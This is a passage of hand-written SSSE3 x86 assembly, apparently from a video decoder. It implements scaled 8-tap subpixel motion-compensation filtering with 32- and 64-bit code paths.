mov [rsp+0x130], r0q ; dstq / tmpq
pshufd m0, m3, q0000
pshufd m1, m3, q1111
pshufd m2, m3, q2222
pshufd m3, m3, q3333
mova [rsp+0x140], m0
mova [rsp+0x150], m1
mova [rsp+0x160], m2
mova [rsp+0x170], m3
%if ARCH_X86_64 && UNIX64
mov hm, hd
%elif ARCH_X86_32
SWAP m5, m3
mov r5, hm
mov [esp+0x134], r5
%endif
jmp .dy1_hloop
.dy1_hloop_prep:
dec dword [rsp+0x090]
jz .ret
%if ARCH_X86_64
add qword [rsp+0x130], 8*(isprep+1)
mov hd, hm
%else
add dword [rsp+0x130], 8*(isprep+1)
mov r5, [esp+0x134]
mov r0, [esp+0x130]
%endif
mova m7, [rsp+0x100]
mova m14, [rsp+0x110]
%if ARCH_X86_64
mova m10, [base+pd_0x3ff]
%else
%define m10 [base+pd_0x3ff]
%endif
mova m15, [rsp+0x120]
mov srcq, [rsp+0x098]
%if ARCH_X86_64
mov r0q, [rsp+0x130] ; dstq / tmpq
%else
mov hm, r5
mov r0m, r0
mov r3, r3m
%endif
paddd m14, m7
.dy1_hloop:
pxor m9, m9
%if ARCH_X86_64
mova m11, [base+pq_0x40000000]
%else
%define m11 [base+pq_0x40000000]
%endif
psrld m2, m14, 10
mova [rsp], m2
pand m6, m14, m10
psrld m6, 6
paddd m5, m15, m6
pcmpeqd m6, m9
psrldq m2, m5, 8
%if ARCH_X86_64
movd r4d, m5
movd r6d, m2
psrldq m5, 4
psrldq m2, 4
movd r7d, m5
movd r9d, m2
movq m0, [base+subpel_filters+r4*8]
movq m1, [base+subpel_filters+r6*8]
movhps m0, [base+subpel_filters+r7*8]
movhps m1, [base+subpel_filters+r9*8]
%else
movd r0, m5
movd rX, m2
psrldq m5, 4
psrldq m2, 4
movd r4, m5
movd r5, m2
movq m0, [base+subpel_filters+r0*8]
movq m1, [base+subpel_filters+rX*8]
movhps m0, [base+subpel_filters+r4*8]
movhps m1, [base+subpel_filters+r5*8]
pxor m2, m2
%define m9 m2
%endif
paddd m14, m7 ; mx+dx*[4-7]
pand m5, m14, m10
psrld m5, 6
paddd m15, m5
pcmpeqd m5, m9
mova [rsp+0x110], m14
psrldq m4, m15, 8
%if ARCH_X86_64
movd r10d, m15
movd r11d, m4
psrldq m15, 4
psrldq m4, 4
movd r13d, m15
movd rXd, m4
movq m2, [base+subpel_filters+r10*8]
movq m3, [base+subpel_filters+r11*8]
movhps m2, [base+subpel_filters+r13*8]
movhps m3, [base+subpel_filters+ rX*8]
psrld m14, 10
psrldq m4, m14, 8
movd r10d, m14
movd r11d, m4
psrldq m14, 4
psrldq m4, 4
movd r13d, m14
movd rXd, m4
mov r4d, [rsp+ 0]
mov r6d, [rsp+ 8]
mov r7d, [rsp+ 4]
mov r9d, [rsp+12]
pshufd m4, m6, q1100
pshufd m6, m6, q3322
pshufd m7, m5, q1100
pshufd m5, m5, q3322
pand m8, m11, m4
pand m9, m11, m6
pand m15, m11, m7
pand m11, m11, m5
pandn m4, m0
pandn m6, m1
pandn m7, m2
pandn m5, m3
por m8, m4
por m9, m6
por m15, m7
por m11, m5
mova [rsp+0x10], m8
mova [rsp+0x20], m9
mova [rsp+0x30], m15
mova [rsp+0x40], m11
MC_8TAP_SCALED_H 1, 2, 3, 4, 5, 6, 7, 10, 8, 9, 15, 11 ; 0-1
mova [rsp+0x50], m1
mova [rsp+0x60], m2
MC_8TAP_SCALED_H 3, 4, 5, 6, 1, 2, 7, 10, 8, 9, 15, 11 ; 2-3
mova [rsp+0x70], m3
mova [rsp+0x80], m4
MC_8TAP_SCALED_H 5, 6, 1, 2, 3, 4, 7, 10, 8, 9, 15, 11 ; 4-5
MC_8TAP_SCALED_H 0,14, 1, 2, 3, 4, 7, 10, 8, 9, 15, 11 ; 6-7
SWAP m7, m0
SWAP m8, m14
mova m1, [rsp+0x50]
mova m2, [rsp+0x60]
mova m3, [rsp+0x70]
mova m15, [rsp+0x80]
punpcklwd m4, m5, m6 ; 45a
punpckhwd m5, m6 ; 45b
punpcklwd m6, m7, m8 ; 67a
punpckhwd m7, m8 ; 67b
SWAP m14, m8
mova m8, [rsp+0x140]
mova m9, [rsp+0x150]
mova m10, [rsp+0x160]
mova m11, [rsp+0x170]
punpcklwd m0, m1, m2 ; 01a
punpckhwd m1, m2 ; 01b
punpcklwd m2, m3, m15; 23a
punpckhwd m3, m15 ; 23b
mova [rsp+0x50], m4
mova [rsp+0x60], m5
mova [rsp+0x70], m6
mova [rsp+0x80], m7
mova m14, [base+unpckw]
%else
movd r0, m15
movd rX, m4
psrldq m15, 4
psrldq m4, 4
movd r4, m15
movd r5, m4
mova m14, [esp+0x110]
movq m2, [base+subpel_filters+r0*8]
movq m3, [base+subpel_filters+rX*8]
movhps m2, [base+subpel_filters+r4*8]
movhps m3, [base+subpel_filters+r5*8]
psrld m14, 10
mova [esp+16], m14
mov r0, [esp+ 0]
mov rX, [esp+ 8]
mov r4, [esp+ 4]
mov r5, [esp+12]
mova [esp+0x20], m0
mova [esp+0x30], m1
mova [esp+0x40], m2
mova [esp+0x50], m3
pshufd m4, m6, q1100
pshufd m6, m6, q3322
pshufd m7, m5, q1100
pshufd m5, m5, q3322
pand m0, m11, m4
pand m1, m11, m6
pand m2, m11, m7
pand m3, m11, m5
pandn m4, [esp+0x20]
pandn m6, [esp+0x30]
pandn m7, [esp+0x40]
pandn m5, [esp+0x50]
por m0, m4
por m1, m6
por m2, m7
por m3, m5
mova [esp+0x20], m0
mova [esp+0x30], m1
mova [esp+0x40], m2
mova [esp+0x50], m3
MC_8TAP_SCALED_H 0x20, 0x60, 0 ; 0-1
MC_8TAP_SCALED_H 0x20, 0x180 ; 2-3
MC_8TAP_SCALED_H 0x20, 0x1a0 ; 4-5
MC_8TAP_SCALED_H 0x20, 0x1c0 ; 6-7
mova m5, [esp+0x1a0]
mova m6, [esp+0x1b0]
mova m7, [esp+0x1c0]
mova m0, [esp+0x1d0]
punpcklwd m4, m5, m6 ; 45a
punpckhwd m5, m6 ; 45b
punpcklwd m6, m7, m0 ; 67a
punpckhwd m7, m0 ; 67b
mova [esp+0x1a0], m4
mova [esp+0x1b0], m5
mova [esp+0x1c0], m6
mova [esp+0x1d0], m7
mova m1, [esp+0x060]
mova m2, [esp+0x070]
mova m3, [esp+0x180]
mova m4, [esp+0x190]
punpcklwd m0, m1, m2 ; 01a
punpckhwd m1, m2 ; 01b
punpcklwd m2, m3, m4 ; 23a
punpckhwd m3, m4 ; 23b
mova [esp+0x060], m0
mova [esp+0x070], m1
mova [esp+0x180], m2
mova [esp+0x190], m3
%define m8 [esp+0x140]
%define m9 [esp+0x150]
%define m10 [esp+0x160]
%define m11 [esp+0x170]
%endif
.dy1_vloop:
%if ARCH_X86_32
mov r0, r0m
%endif
pmaddwd m4, m0, m8
pmaddwd m5, m1, m8
pmaddwd m6, m2, m9
pmaddwd m7, m3, m9
paddd m4, m13
paddd m5, m13
paddd m4, m6
paddd m5, m7
%if ARCH_X86_64
pmaddwd m6, [rsp+0x50], m10
pmaddwd m7, [rsp+0x60], m10
%else
pmaddwd m6, [rsp+0x1a0], m10
pmaddwd m7, [rsp+0x1b0], m10
%endif
paddd m4, m6
paddd m5, m7
%if ARCH_X86_64
pmaddwd m6, [rsp+0x70], m11
pmaddwd m7, [rsp+0x80], m11
%else
pmaddwd m6, [rsp+0x1c0], m11
pmaddwd m7, [rsp+0x1d0], m11
%endif
paddd m4, m6
paddd m5, m7
psrad m4, rndshift
psrad m5, rndshift
packssdw m4, m5
%ifidn %1, put
packuswb m4, m4
movq [dstq], m4
add dstq, dsm
%else
mova [tmpq], m4
add tmpq, tmp_stridem
%endif
%if ARCH_X86_32
mov r0m, r0
%endif
dec hd
jz .dy1_hloop_prep
%if ARCH_X86_64
movq m4, [srcq+ r4]
movq m5, [srcq+ r6]
movhps m4, [srcq+ r7]
movhps m5, [srcq+ r9]
movq m6, [srcq+r10]
movq m7, [srcq+r11]
movhps m6, [srcq+r13]
movhps m7, [srcq+ rX]
add srcq, ssq
pshufd m15, m14, q1032
pshufb m0, m14 ; 0a 1a
pshufb m1, m14 ; 0b 1b
pshufb m2, m15 ; 3a 2a
pshufb m3, m15 ; 3b 2b
pmaddubsw m4, [rsp+0x10]
pmaddubsw m5, [rsp+0x20]
pmaddubsw m6, [rsp+0x30]
pmaddubsw m7, [rsp+0x40]
phaddw m4, m5
phaddw m6, m7
phaddw m4, m6
pmulhrsw m4, m12
pshufb m5, [rsp+0x70], m15 ; 7a 6a
pshufb m7, [rsp+0x80], m15 ; 7b 6b
pshufb m6, [rsp+0x50], m14 ; 4a 5a
pshufb m15, [rsp+0x60], m14 ; 4b 5b
punpckhwd m0, m2 ; 12a
punpckhwd m1, m3 ; 12b
punpcklwd m2, m6 ; 34a
punpcklwd m3, m15 ; 34b
punpckhwd m6, m5 ; 56a
punpckhwd m15, m7 ; 56b
punpcklwd m5, m4 ; 78a
psrldq m4, 8
punpcklwd m7, m4 ; 78b
mova [rsp+0x50], m6
mova [rsp+0x60], m15
mova [rsp+0x70], m5
mova [rsp+0x80], m7
%else
mov r0, [esp+ 0]
mov rX, [esp+ 8]
mov r4, [esp+ 4]
mov r5, [esp+12]
mova m6, [base+unpckw]
mova m0, [esp+0x060]
mova m1, [esp+0x070]
mova m7, [esp+0x1a0]
movq m4, [srcq+r0]
movq m5, [srcq+rX]
movhps m4, [srcq+r4]
movhps m5, [srcq+r5]
pshufb m0, m6 ; 0a 1a
pshufb m1, m6 ; 0b 1b
pshufb m7, m6 ; 4a 5a
mov r0, [esp+16]
mov rX, [esp+24]
mov r4, [esp+20]
mov r5, [esp+28]
movq m3, [srcq+r0]
movq m2, [srcq+rX]
movhps m3, [srcq+r4]
movhps m2, [srcq+r5]
add srcq, ssq
pmaddubsw m4, [esp+0x20]
pmaddubsw m5, [esp+0x30]
pmaddubsw m3, [esp+0x40]
pmaddubsw m2, [esp+0x50]
phaddw m4, m5
phaddw m3, m2
mova m5, [esp+0x1b0]
mova m2, [esp+0x180]
phaddw m4, m3
mova m3, [esp+0x190]
pmulhrsw m4, m12 ; 8a 8b
pshufb m5, m6 ; 4b 5b
pshufd m6, m6, q1032
pshufb m2, m6 ; 3a 2a
pshufb m3, m6 ; 3b 2b
punpckhwd m0, m2 ; 12a
punpckhwd m1, m3 ; 12b
mova [esp+0x60], m0
mova [esp+0x70], m1
mova m0, [esp+0x1c0]
mova m1, [esp+0x1d0]
punpcklwd m2, m7 ; 34a
punpcklwd m3, m5 ; 34b
mova [esp+0x180], m2
mova [esp+0x190], m3
pshufb m0, m6 ; 7a 6a
pshufb m1, m6 ; 7b 6b
punpckhwd m7, m0 ; 56a
punpckhwd m5, m1 ; 56b
punpcklwd m0, m4
punpckhqdq m4, m4
punpcklwd m1, m4
mova [esp+0x1a0], m7
mova [esp+0x1b0], m5
mova [esp+0x1c0], m0
mova [esp+0x1d0], m1
mova m0, [esp+0x60]
mova m1, [esp+0x70]
%endif
jmp .dy1_vloop
INIT_XMM ssse3
.dy2:
movzx wd, word [base+%1_8tap_scaled_ssse3_dy2_table+wq*2]
add wq, base_reg
jmp wq
%ifidn %1, put
.dy2_w2:
%if ARCH_X86_64
mov myd, mym
movzx t0d, t0b
dec srcq
movd m15, t0d
%else
%define m10 [base+pd_0x3ff]
%define m11 [base+pd_0x4000]
%define m8 m0
%define m9 m1
%define m14 m4
%define m15 m3
movzx r5, byte [esp+0x1f0]
dec srcd
movd m15, r5
%endif
punpckldq m9, m8
SWAP m8, m9
paddd m14, m8 ; mx+dx*[0-1]
%if ARCH_X86_64
mova m11, [base+pd_0x4000]
%endif
pshufd m15, m15, q0000
pand m8, m14, m10
psrld m8, 6
paddd m15, m8
movd r4d, m15
psrldq m15, 4
%if ARCH_X86_64
movd r6d, m15
%else
movd r3d, m15
%endif
mova m5, [base+bdct_lb_dw]
mova m6, [base+subpel_s_shuf2]
movd m15, [base+subpel_filters+r4*8+2]
%if ARCH_X86_64
movd m7, [base+subpel_filters+r6*8+2]
%else
movd m7, [base+subpel_filters+r3*8+2]
%endif
pxor m9, m9
pcmpeqd m8, m9
psrld m14, 10
%if ARCH_X86_32
mov r3, r3m
pshufb m14, m5
paddb m14, m6
mova [esp+0x00], m14
%define m14 [esp+0x00]
SWAP m5, m0
SWAP m6, m3
%define m8 m5
%define m15 m6
%endif
movq m0, [srcq+ssq*0]
movq m1, [srcq+ssq*1]
movhps m0, [srcq+ssq*2]
movhps m1, [srcq+ss3q ]
lea srcq, [srcq+ssq*4]
%if ARCH_X86_64
shr myd, 6
mov r4d, 64 << 24
lea myd, [t1+myq]
cmovnz r4q, [base+subpel_filters+myq*8]
pshufb m14, m5
paddb m14, m6
movq m10, r4q
%else
mov myd, mym
mov r3, [esp+0x1f4]
xor r5, r5
shr myd, 6
lea r3, [r3+myd]
mov r4, 64 << 24
cmovnz r4, [base+subpel_filters+r3*8+0]
cmovnz r5, [base+subpel_filters+r3*8+4]
mov r3, r3m
%define m10 m4
movd m10, r4
movd m3, r5
punpckldq m10, m3
%endif
movq m3, [srcq+ssq*0]
movhps m3, [srcq+ssq*1]
lea srcq, [srcq+ssq*2]
punpcklbw m10, m10
psraw m10, 8
punpckldq m15, m7
punpcklqdq m15, m15
%if ARCH_X86_64
pand m11, m8
%else
pand m7, m11, m8
%define m11 m7
%endif
pandn m8, m15
SWAP m15, m8
por m15, m11
%if ARCH_X86_64
pshufd m8, m10, q0000
pshufd m9, m10, q1111
pshufd m11, m10, q3333
pshufd m10, m10, q2222
%else
mova [esp+0x10], m15
%define m15 [esp+0x10]
mov r5, r0m
%define dstq r5
mov dsd, dsm
pshufd m5, m4, q0000
pshufd m6, m4, q1111
pshufd m7, m4, q2222
pshufd m4, m4, q3333
%define m8 [esp+0x20]
%define m9 [esp+0x30]
%define m10 [esp+0x40]
%define m11 [esp+0x50]
mova m8, m5
mova m9, m6
mova m10, m7
mova m11, m4
%endif
pshufb m0, m14
pshufb m1, m14
pshufb m3, m14
pmaddubsw m0, m15
pmaddubsw m1, m15
pmaddubsw m3, m15
pslldq m2, m3, 8
phaddw m0, m2
phaddw m1, m3
pmulhrsw m0, m12 ; 0 2 _ 4
pmulhrsw m1, m12 ; 1 3 _ 5
pshufd m2, m0, q3110 ; 0 2 2 4
pshufd m1, m1, q3110 ; 1 3 3 5
punpcklwd m3, m2, m1 ; 01 23
punpckhwd m2, m1 ; 23 45
.dy2_w2_loop:
movq m6, [srcq+ssq*0]
movq m7, [srcq+ssq*1]
movhps m6, [srcq+ssq*2]
movhps m7, [srcq+ss3q ]
lea srcq, [srcq+ssq*4]
pmaddwd m4, m3, m8
pmaddwd m5, m2, m9
pshufb m6, m14
pshufb m7, m14
pmaddubsw m6, m15
pmaddubsw m7, m15
phaddw m6, m7
pmulhrsw m6, m12
psrldq m7, m6, 8
palignr m6, m0, 8
palignr m7, m1, 8
mova m0, m6
mova m1, m7
pshufd m6, m6, q3221
pshufd m7, m7, q3221
punpcklwd m3, m6, m7 ; 45 67
punpckhwd m2, m6, m7 ; 67 89
pmaddwd m6, m3, m10
pmaddwd m7, m2, m11
paddd m4, m5
paddd m4, m13
paddd m6, m7
paddd m4, m6
psrad m4, rndshift
packssdw m4, m4
packuswb m4, m4
movd r4d, m4
mov [dstq+dsq*0], r4w
shr r4d, 16
mov [dstq+dsq*1], r4w
lea dstq, [dstq+dsq*2]
sub hd, 2
jg .dy2_w2_loop
RET
%endif
INIT_XMM ssse3
.dy2_w4:
%if ARCH_X86_64
mov myd, mym
movzx t0d, t0b
dec srcq
movd m15, t0d
%else
%define m10 [base+pd_0x3ff]
%define m11 [base+pd_0x4000]
%define m8 m0
%xdefine m14 m4
%define m15 m3
%define dstq r0
%if isprep
%define ssq r3
%endif
movzx r4, byte [esp+0x1f0]
dec srcq
movd m15, r4
%endif
pmaddwd m8, [base+rescale_mul]
%if ARCH_X86_64
mova m11, [base+pd_0x4000]
%endif
pshufd m15, m15, q0000
paddd m14, m8 ; mx+dx*[0-3]
pand m8, m14, m10
psrld m8, 6
paddd m15, m8
psrldq m7, m15, 8
%if ARCH_X86_64
movd r4d, m15
movd r11d, m7
psrldq m15, 4
psrldq m7, 4
movd r6d, m15
movd r13d, m7
movd m15, [base+subpel_filters+ r4*8+2]
movd m2, [base+subpel_filters+r11*8+2]
movd m3, [base+subpel_filters+ r6*8+2]
movd m4, [base+subpel_filters+r13*8+2]
movq m6, [base+subpel_s_shuf2]
shr myd, 6
mov r4d, 64 << 24
lea myd, [t1+myq]
cmovnz r4q, [base+subpel_filters+myq*8]
%else
movd r1, m15
movd r3, m7
psrldq m15, 4
psrldq m7, 4
movd r4, m15
movd r5, m7
%define m15 m5
SWAP m4, m7
movd m15, [base+subpel_filters+r1*8+2]
movd m2, [base+subpel_filters+r3*8+2]
movd m3, [base+subpel_filters+r4*8+2]
movd m4, [base+subpel_filters+r5*8+2]
movq m6, [base+subpel_s_shuf2]
mov myd, mym
mov r3, [esp+0x1f4]
xor r5, r5
shr myd, 6
lea r3, [r3+myd]
mov r4, 64 << 24
cmovnz r4, [base+subpel_filters+r3*8+0]
cmovnz r5, [base+subpel_filters+r3*8+4]
mov r3, r3m
%if isprep
lea ss3q, [ssq*3]
%endif
%endif
punpckldq m15, m3
punpckldq m2, m4
punpcklqdq m15, m2
%if ARCH_X86_64
pcmpeqd m8, m9
psrld m14, 10
movu m0, [srcq+ssq*0]
movu m2, [srcq+ssq*2]
movu m1, [srcq+ssq*1]
movu m3, [srcq+ss3q ]
lea srcq, [srcq+ssq*4]
punpcklqdq m6, m6
pshufb m14, [base+bdct_lb_dw]
movu m4, [srcq+ssq*0]
movu m5, [srcq+ssq*1]
lea srcq, [srcq+ssq*2]
pand m11, m8
pandn m8, m15
SWAP m15, m8
por m15, m11
paddb m14, m6
movq m11, r4q
punpcklbw m11, m11
psraw m11, 8
pshufb m0, m14
pshufb m2, m14
pshufb m1, m14
pshufb m3, m14
pshufb m4, m14
pshufb m5, m14
pmaddubsw m0, m15
pmaddubsw m2, m15
pmaddubsw m1, m15
pmaddubsw m3, m15
pmaddubsw m4, m15
pmaddubsw m5, m15
phaddw m0, m2
phaddw m1, m3
phaddw m4, m5
pmulhrsw m0, m12 ; 0 2
pmulhrsw m1, m12 ; 1 3
pmulhrsw m4, m12 ; 4 5
pshufd m8, m11, q0000
pshufd m9, m11, q1111
pshufd m10, m11, q2222
pshufd m11, m11, q3333
%else
pxor m3, m3
pcmpeqd m8, m3
psrld m14, 10
pshufb m14, [base+bdct_lb_dw]
movu m1, [srcq+ssq*0]
movu m2, [srcq+ssq*2]
movu m3, [srcq+ssq*1]
lea srcq, [srcq+ss3q ]
punpcklqdq m6, m6
SWAP m4, m7
pand m7, m11, m8
pandn m8, m15
SWAP m15, m8
por m15, m7
paddb m14, m6
movu m0, [srcq+ssq*0]
movu m7, [srcq+ssq*1]
movu m6, [srcq+ssq*2]
lea srcq, [srcq+ss3q ]
pshufb m1, m14
pshufb m2, m14
pshufb m3, m14
pshufb m0, m14
pshufb m7, m14
pshufb m6, m14
pmaddubsw m1, m15
pmaddubsw m2, m15
pmaddubsw m3, m15
mova [esp+0x00], m14
mova [esp+0x10], m15
pmaddubsw m0, m15
pmaddubsw m7, m15
pmaddubsw m6, m15
%define m14 [esp+0x00]
%define m15 [esp+0x10]
phaddw m1, m2
phaddw m3, m0
phaddw m7, m6
%ifidn %1, put
mov dsd, dsm
%define dstq r5
%else
%define tmpq r5
%endif
movd m6, r4
movd m0, r5
punpckldq m6, m0
punpcklbw m6, m6
psraw m6, 8
mov r5, r0m
pmulhrsw m1, m12 ; 0 2
pmulhrsw m3, m12 ; 1 3
pmulhrsw m7, m12 ; 4 5
SWAP m0, m1, m3
SWAP m4, m7
pshufd m2, m6, q0000
pshufd m3, m6, q1111
pshufd m7, m6, q2222
pshufd m6, m6, q3333
mova [esp+0x30], m2
mova [esp+0x40], m3
mova [esp+0x50], m7
mova [esp+0x60], m6
%define m8 [esp+0x30]
%define m9 [esp+0x40]
%define m10 [esp+0x50]
%define m11 [esp+0x60]
%endif
psrldq m5, m4, 8 ; 5 _
punpckhwd m2, m0, m1 ; 23
punpcklwd m0, m1 ; 01
punpcklwd m4, m5 ; 45
.dy2_w4_loop:
pmaddwd m0, m8 ; a0
pmaddwd m5, m2, m8 ; b0
pmaddwd m2, m9 ; a1
pmaddwd m7, m4, m9 ; b1
pmaddwd m3, m4, m10 ; a2
paddd m0, m13
paddd m5, m13
paddd m0, m2
paddd m5, m7
paddd m0, m3
movu m6, [srcq+ssq*0]
movu m7, [srcq+ssq*1]
movu m3, [srcq+ssq*2]
movu m1, [srcq+ss3q ]
lea srcq, [srcq+ssq*4]
pshufb m6, m14
pshufb m7, m14
pshufb m3, m14
pshufb m1, m14
pmaddubsw m6, m15
pmaddubsw m7, m15
pmaddubsw m3, m15
pmaddubsw m1, m15
phaddw m6, m7
phaddw m3, m1
pmulhrsw m6, m12 ; 6 7
pmulhrsw m3, m12 ; 8 9
psrldq m7, m6, 8
psrldq m1, m3, 8
punpcklwd m6, m7 ; 67
punpcklwd m3, m1 ; 89
mova m2, m6
pmaddwd m1, m6, m10 ; b2
pmaddwd m6, m11 ; a3
pmaddwd m7, m3, m11 ; b3
paddd m5, m1
paddd m0, m6
paddd m5, m7
psrad m0, rndshift
psrad m5, rndshift
packssdw m0, m5
%ifidn %1, put
packuswb m0, m0
psrldq m1, m0, 4
movd [dstq+dsq*0], m0
movd [dstq+dsq*1], m1
lea dstq, [dstq+dsq*2]
%else
mova [tmpq], m0
add tmpq, 16
%endif
mova m0, m4
mova m4, m3
sub hd, 2
jg .dy2_w4_loop
MC_8TAP_SCALED_RET
INIT_XMM ssse3
.dy2_w8:
mov dword [rsp+0x90], 1
movifprep tmp_stridem, 16
jmp .dy2_w_start
.dy2_w16:
mov dword [rsp+0x90], 2
movifprep tmp_stridem, 32
jmp .dy2_w_start
.dy2_w32:
mov dword [rsp+0x90], 4
movifprep tmp_stridem, 64
jmp .dy2_w_start
.dy2_w64:
mov dword [rsp+0x90], 8
movifprep tmp_stridem, 128
jmp .dy2_w_start
.dy2_w128:
mov dword [rsp+0x90], 16
movifprep tmp_stridem, 256
.dy2_w_start:
mov myd, mym
%ifidn %1, put
movifnidn dsm, dsq
%endif
%if ARCH_X86_64
shr t0d, 16
sub srcq, 3
shr myd, 6
mov r4d, 64 << 24
lea myd, [t1+myq]
cmovnz r4q, [base+subpel_filters+myq*8]
movd m15, t0d
%else
%define m10 [base+pd_0x3ff]
%define m11 [base+pd_0x4000]
%define m8 m0
%define m9 m1
%xdefine m14 m4
%xdefine m15 m3
%if isprep
%define tmpq r0
%define ssq ssm
%else
%define dstq r0
%endif
mov r5, [esp+0x1f0]
mov r3, [esp+0x1f4]
shr r5, 16
sub srcq, 3
movd m15, r5
xor r5, r5
shr myd, 6
lea r3, [r3+myd]
mov r4, 64 << 24
cmovnz r4, [base+subpel_filters+r3*8+0]
cmovnz r5, [base+subpel_filters+r3*8+4]
mov r0, r0m
mov r3, r3m
%endif
pslld m7, m8, 2 ; dx*4
pmaddwd m8, [base+rescale_mul] ; dx*[0-3]
pshufd m15, m15, q0000
paddd m14, m8 ; mx+dx*[0-3]
%if ARCH_X86_64
movq m3, r4q
punpcklbw m3, m3
psraw m3, 8
%else
movd m5, r4
movd m6, r5
punpckldq m5, m6
punpcklbw m5, m5
psraw m5, 8
SWAP m3, m5
%endif
mova [rsp+0x100], m7
mova [rsp+0x120], m15
mov [rsp+0x098], srcq
mov [rsp+0x130], r0q ; dstq / tmpq
pshufd m0, m3, q0000
pshufd m1, m3, q1111
pshufd m2, m3, q2222
pshufd m3, m3, q3333
mova [rsp+0x140], m0
mova [rsp+0x150], m1
mova [rsp+0x160], m2
mova [rsp+0x170], m3
%if ARCH_X86_64 && UNIX64
mov hm, hd
%elif ARCH_X86_32
SWAP m5, m3
mov r5, hm
mov [esp+0x134], r5
%endif
jmp .dy2_hloop
.dy2_hloop_prep:
dec dword [rsp+0x090]
jz .ret
%if ARCH_X86_64
add qword [rsp+0x130], 8*(isprep+1)
mov hd, hm
%else
add dword [rsp+0x130], 8*(isprep+1)
mov r5, [esp+0x134]
mov r0, [esp+0x130]
%endif
mova m7, [rsp+0x100]
mova m14, [rsp+0x110]
%if ARCH_X86_64
mova m10, [base+pd_0x3ff]
%else
%define m10 [base+pd_0x3ff]
%endif
mova m15, [rsp+0x120]
mov srcq, [rsp+0x098]
%if ARCH_X86_64
mov r0q, [rsp+0x130] ; dstq / tmpq
%else
mov hm, r5
mov r0m, r0
mov r3, r3m
%endif
paddd m14, m7
.dy2_hloop:
pxor m9, m9
%if ARCH_X86_64
mova m11, [base+pq_0x40000000]
%else
%define m11 [base+pq_0x40000000]
%endif
psrld m2, m14, 10
mova [rsp], m2
pand m6, m14, m10
psrld m6, 6
paddd m5, m15, m6
pcmpeqd m6, m9
psrldq m2, m5, 8
%if ARCH_X86_64
movd r4d, m5
movd r6d, m2
psrldq m5, 4
psrldq m2, 4
movd r7d, m5
movd r9d, m2
movq m0, [base+subpel_filters+r4*8]
movq m1, [base+subpel_filters+r6*8]
movhps m0, [base+subpel_filters+r7*8]
movhps m1, [base+subpel_filters+r9*8]
%else
movd r0, m5
movd rX, m2
psrldq m5, 4
psrldq m2, 4
movd r4, m5
movd r5, m2
movq m0, [base+subpel_filters+r0*8]
movq m1, [base+subpel_filters+rX*8]
movhps m0, [base+subpel_filters+r4*8]
movhps m1, [base+subpel_filters+r5*8]
pxor m2, m2
%define m9 m2
%endif
paddd m14, m7 ; mx+dx*[4-7]
pand m5, m14, m10
psrld m5, 6
paddd m15, m5
pcmpeqd m5, m9
mova [rsp+0x110], m14
psrldq m4, m15, 8
%if ARCH_X86_64
movd r10d, m15
movd r11d, m4
psrldq m15, 4
psrldq m4, 4
movd r13d, m15
movd rXd, m4
movq m2, [base+subpel_filters+r10*8]
movq m3, [base+subpel_filters+r11*8]
movhps m2, [base+subpel_filters+r13*8]
movhps m3, [base+subpel_filters+ rX*8]
psrld m14, 10
psrldq m4, m14, 8
movd r10d, m14
movd r11d, m4
psrldq m14, 4
psrldq m4, 4
movd r13d, m14
movd rXd, m4
mov r4d, [rsp+ 0]
mov r6d, [rsp+ 8]
mov r7d, [rsp+ 4]
mov r9d, [rsp+12]
pshufd m4, m6, q1100
pshufd m6, m6, q3322
pshufd m7, m5, q1100
pshufd m5, m5, q3322
pand m8, m11, m4
pand m9, m11, m6
pand m15, m11, m7
pand m11, m11, m5
pandn m4, m0
pandn m6, m1
pandn m7, m2
pandn m5, m3
por m8, m4
por m9, m6
por m15, m7
por m11, m5
mova [rsp+0x10], m8
mova [rsp+0x20], m9
mova [rsp+0x30], m15
mova [rsp+0x40], m11
MC_8TAP_SCALED_H 1, 2, 3, 4, 5, 6, 7, 10, 8, 9, 15, 11 ; 0-1
mova [rsp+0x50], m1
mova [rsp+0x60], m2
MC_8TAP_SCALED_H 3, 4, 5, 6, 1, 2, 7, 10, 8, 9, 15, 11 ; 2-3
mova [rsp+0x70], m3
mova [rsp+0x80], m4
MC_8TAP_SCALED_H 5, 6, 1, 2, 3, 4, 7, 10, 8, 9, 15, 11 ; 4-5
MC_8TAP_SCALED_H 0,14, 1, 2, 3, 4, 7, 10, 8, 9, 15, 11 ; 6-7
SWAP m7, m0
SWAP m8, m14
mova m1, [rsp+0x50]
mova m2, [rsp+0x60]
mova m3, [rsp+0x70]
mova m15, [rsp+0x80]
punpcklwd m4, m5, m6 ; 45a
punpckhwd m5, m6 ; 45b
punpcklwd m6, m7, m8 ; 67a
punpckhwd m7, m8 ; 67b
SWAP m14, m8
mova m8, [rsp+0x140]
mova m9, [rsp+0x150]
mova m10, [rsp+0x160]
mova m11, [rsp+0x170]
punpcklwd m0, m1, m2 ; 01a
punpckhwd m1, m2 ; 01b
punpcklwd m2, m3, m15; 23a
punpckhwd m3, m15 ; 23b
mova [rsp+0x50], m4
mova [rsp+0x60], m5
mova [rsp+0x70], m6
mova [rsp+0x80], m7
%else
movd r0, m15
movd rX, m4
psrldq m15, 4
psrldq m4, 4
movd r4, m15
movd r5, m4
mova m14, [esp+0x110]
movq m2, [base+subpel_filters+r0*8]
movq m3, [base+subpel_filters+rX*8]
movhps m2, [base+subpel_filters+r4*8]
movhps m3, [base+subpel_filters+r5*8]
psrld m14, 10
mova [esp+16], m14
mov r0, [esp+ 0]
mov rX, [esp+ 8]
mov r4, [esp+ 4]
mov r5, [esp+12]
mova [esp+0x20], m0
mova [esp+0x30], m1
mova [esp+0x40], m2
mova [esp+0x50], m3
pshufd m4, m6, q1100
pshufd m6, m6, q3322
pshufd m7, m5, q1100
pshufd m5, m5, q3322
pand m0, m11, m4
pand m1, m11, m6
pand m2, m11, m7
pand m3, m11, m5
pandn m4, [esp+0x20]
pandn m6, [esp+0x30]
pandn m7, [esp+0x40]
pandn m5, [esp+0x50]
por m0, m4
por m1, m6
por m2, m7
por m3, m5
mova [esp+0x20], m0
mova [esp+0x30], m1
mova [esp+0x40], m2
mova [esp+0x50], m3
MC_8TAP_SCALED_H 0x20, 0x60, 0 ; 0-1
MC_8TAP_SCALED_H 0x20, 0x180 ; 2-3
MC_8TAP_SCALED_H 0x20, 0x1a0 ; 4-5
MC_8TAP_SCALED_H 0x20, 0x1c0 ; 6-7
mova m5, [esp+0x1a0]
mova m6, [esp+0x1b0]
mova m7, [esp+0x1c0]
mova m0, [esp+0x1d0]
punpcklwd m4, m5, m6 ; 45a
punpckhwd m5, m6 ; 45b
punpcklwd m6, m7, m0 ; 67a
punpckhwd m7, m0 ; 67b
mova [esp+0x1a0], m4
mova [esp+0x1b0], m5
mova [esp+0x1c0], m6
